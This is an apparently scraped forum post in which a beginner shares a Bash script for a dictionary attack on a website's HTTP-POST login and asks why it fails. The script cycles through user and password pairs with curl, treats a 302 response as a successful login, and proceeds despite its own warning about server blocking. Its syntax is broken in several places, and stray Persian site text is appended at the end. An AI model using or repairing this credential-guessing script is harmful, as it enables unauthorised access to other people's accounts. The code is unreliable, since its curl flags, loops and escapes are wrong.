I'm fairly new to Bash, but this is a script I've been working on for the past few days. It's meant to run a dictionary attack on an HTTP-POST login for a website, by reading the time module and sending a login request to said website every amount of seconds I set it to. However, I'm ruing into issues.
echo -e "Initiating password cracking session...n"
echo -e "Seconds per password attempt: c"
read TIME
if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.n"
fi
if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will continue anyways.n"
fi
function control_c {
tput setaf 2; echo -en " Password cracking session deactivated.n"
exit $?
}
trap control_c SIGINT
for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Useame: c"
read user
echo -e "Wordlist: c"
read pass
for user do
for pass in pass do
http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
if [[ $http_code -eq 302 ]]; then
echo "Success: User: '$user' Pass: '$pass'"
break 2
fi
done
sleep $TIME
done
done
As a side note, I have absolutely zero knowledge with cURL, and the syntax relating to cURL above is purely that which I've read on other websites. I get the error message: syntax error near unexpected token http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)'
What is it that I'm doing wrong? Once again, I'm new to both Bash and cURL, so please forgive me if my script seems to be way out of line.
برچسب:
نویسنده: استخدام کار